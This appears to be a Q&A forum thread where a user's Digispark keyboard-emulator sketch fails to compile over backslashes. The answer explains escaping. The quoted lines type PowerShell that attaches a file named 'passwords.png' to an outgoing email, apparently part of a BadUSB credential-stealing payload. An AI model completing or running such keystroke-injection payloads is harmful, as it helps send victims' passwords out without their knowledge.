-1

i am having trouble with writing a \ symbol in digikeyboard.printIn, the line stops highlighting and outputs a error

D:\documents\Arduino\powershell_write.ino: In function 'void loop()':

powershell_write:67:24: error: incomplete universal character name \U

DigiKeyboard.println("$path = 'C:\Users\Public\passwords.png'");

                    ^

powershell_write:92:24: error: incomplete universal character name \U

DigiKeyboard.println("$ReportEmail.Attachments.Add('C:\Users\Public\passwords.png')");

                    ^

exit status 1 incomplete universal character name \U

thanks for help in advance

1 Answers1

0

You have to escape the \:

DigiKeyboard.println("$path = 'C:\\Users\\Public\\passwords.png'");

Or use forward slashes if allowed:

DigiKeyboard.println("$path = 'C:/Users/Public/passwords.png'");
Danny_ds
  • 11,201
  • 1
  • 24
  • 46